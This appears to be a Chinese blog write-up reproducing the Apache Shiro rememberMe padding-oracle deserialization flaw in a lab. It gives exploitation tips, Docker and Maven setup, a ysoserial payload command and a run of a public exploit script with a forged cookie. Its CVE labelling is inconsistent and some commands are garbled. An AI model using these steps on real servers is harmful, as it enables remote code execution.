ApacheShiro反序列化漏洞(Shiro-721CVE-2016-4437)
0x00 漏洞介绍
Apache Shiro 存在⾼危代码执⾏漏洞。该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,⽤户可通过Padding Oracle 加密⽣成的攻击代码来构造恶意的rememberMe字段,并重新请求⽹站,进⾏反序列化攻击,最终导致任意代码执⾏。
0x01 影响版本
Apache Shiro 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1版本。
0x02 漏洞指纹
1.set-Cookie: rememberMe=deleteMe
2.URL中有shiro字样
3.有⼀些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可
0x03 利⽤技巧
1.该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进⾏利⽤, 看起来不是很好利⽤但实际上有⼀些⽹站是开放注册的, ⽽且这个洞不需要知道服务端密钥所以后续的利⽤还是可以同Shiro-550⼀样利⽤, ⽽且这⾥是AES加密的, ⾃带过WAF属性;
2.如果攻击没有⽣效, 可以试⼀下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe。
0x04 漏洞原理
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,⽤户可通过Padding Oracle 加密⽣成的攻击代码来构造恶意的rememberMe字段,并重新请求⽹站,进⾏反序列化攻击,最终导致任意代码执⾏。
0x04 环境搭建
1.利⽤docker搭建环境⼀:
root@backlion-virtual-machine:/opt# docker pull vulfocus/shiro-cve_2016_4437
root@backlion-virtual-machine:/opt#docker ps
root@backlion-virtual-machine:/opt#docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.1.14 be60cf0b7704
2.利⽤dokcer 搭建环境⼆:
复现环境: Apache Shiro 1.4.1 + tomcat:8-jre8
git下载shiro-720到本地环境
git clone
对shiro-720进⾏编译
cd Shiro-721/Docker
docker build -t shiro-721 .
启动dokcer并将端⼝8080映射到主机端⼝8080上
docker run -p 8080:8080 -d shiro-721
查看是否搭建成功
docker ps
3.通过⾃⾏编译1.
4.1war 包放⼊tomcat容器中运⾏
安装maven
wget
tar zxvf apache-maven-3.6. -C /usr/local
vi /etc/profile
export MAVEN_HOME=/usr/local/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH
source /etc/profile
mvn -v
vim /usr/local/apache-maven-3.6.3/l
到mirrors节点添加阿⾥镜像库地址:
<mirrors>
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>maven.aliyun/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
</mirrors>
可从 Apache Shiro Gtihub 官⽅仓库⾃⾏下载漏洞影响版本(github/apache/shiro),使⽤ Apache Maven(软件项⽬管理及⾃动构建⼯具) 编译构建⽣成 war Java 应⽤程序包。
git clone
cd shiro
git checkout shiro-root-1.4.1
jsessionidmvn install
以下⼏项执⾏完成以后即可暂停,进⽽编译 samples/web 下的即可。
[INFO] Apache Shiro ....................................... SUCCESS [ 1.630 s]
[INFO] Apache Shiro :: Core ............................... SUCCESS [ 46.175 s]
[INFO] Apache Shiro :: Web ................................ SUCCESS [ 3.571 s]
cd samples/web
mvn install
将编译完成获取到的 samples-web-1.4.1.war 包( samples/target/中)拷贝到 Tomcat 的 webapps ⽬录下,启动tomcat即可。这⾥已编号war包:
github/backlion/demo/blob/master/samples-web-1.4.1.war
将war包拷贝到docker tomcat容器中的webasps⽬录下
之后打开192.168.1.9:8080/samples-web-1.4.1/
复现步骤:
1. 输⼊正确的⽤户名和密码登录⽹站(勾选Remember),并从cookie中获取RememberMe值。
2. 使⽤RememberMe cookie作为Padding Oracle Attack的前缀。
3. 加密ysoserial的序列化有效负载,以通过Padding Oracle Attack制作精⼼制作的RememberMe。
4. 请求带有新的RememberMe cookie的⽹站,以执⾏反序列化攻击。
5. 攻击者⽆需知道RememberMe加密的密码密钥。
0x05 漏洞复现:
⼀.漏洞利⽤复现01
1.登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me):
(1) 认证失败时(输⼊错误的⽤户名和密码),http响应页⾯中会显⽰出deleteMe的cookie:
(2) 认证成功(输⼊正确的⽤户名和密码登录),http响应页⾯中不会显⽰deleteMe的cookie:
根据以上条件我们的思路是在正常序列化数据(需要⼀个已知的⽤户凭证获取正常序列化数据)后利⽤ Padding Oracle 构造我们⾃⼰的数据(Java序列化数据后的脏数据不影响反序列化结果),此时会有两中情况:
1. 构造的数据不能通过字符填充验证,返回deleteme;
2. 构造的数据可以成功解密通过字符填充验证,之后数据可以正常反序列化,不返回deleteme的cookie.
2.这⾥输⼊正确的⽤户名和密码,并勾选Remeber ME。
3.登录成功后,访问192.168.1.14:8080/account/,并通过burp对其进⾏抓包,得到Cookie中的rememberMe值
4.使⽤Java反序列化⼯具 ysoserial ⽣成 Payload:
root@kali:/opt# java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections1 'touch /tmp/test' > payload.class #这⾥可以⽣成在⽬标靶机中创建/tmp/test的payload
5.通过git对其padding oracle attack poc进⾏下载
git clone github/wuppp/shiro_rce_exp.git
6. 通过 Padding Oracle Attack ⽣成 Evil Rememberme cookie:
注意:此 exp 爆破时间较长,建议使⽤ ysoserial ⽣成较短的 payload 验证(如: ping 、 touch /tmp/te
st等),约 1 个多⼩时可⽣成正确的 rememberme cookie,⽣
成成功后将⾃动停⽌运⾏。
root@kali:/opt# cp payload.class shiro_rce_exp/
root@kali:/opt# cd shiro_rce_exp/
root@kali:/opt# python shiro_exp.py 192.168.1.14:8080/account/
HZ717RwZHZHuR/x9yMmjJUUGWXLAOiZx01rXghAir47/Xbu++kfYFiJA7gQcSn6oaBqcRXfkihooScqykI8FEWlqmN6agAJr3bh5QH+WshypvevVnsEvUDDaSTCEX8tr3seRX8TAJfuNyvK/DD1HHYdg payload.class
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论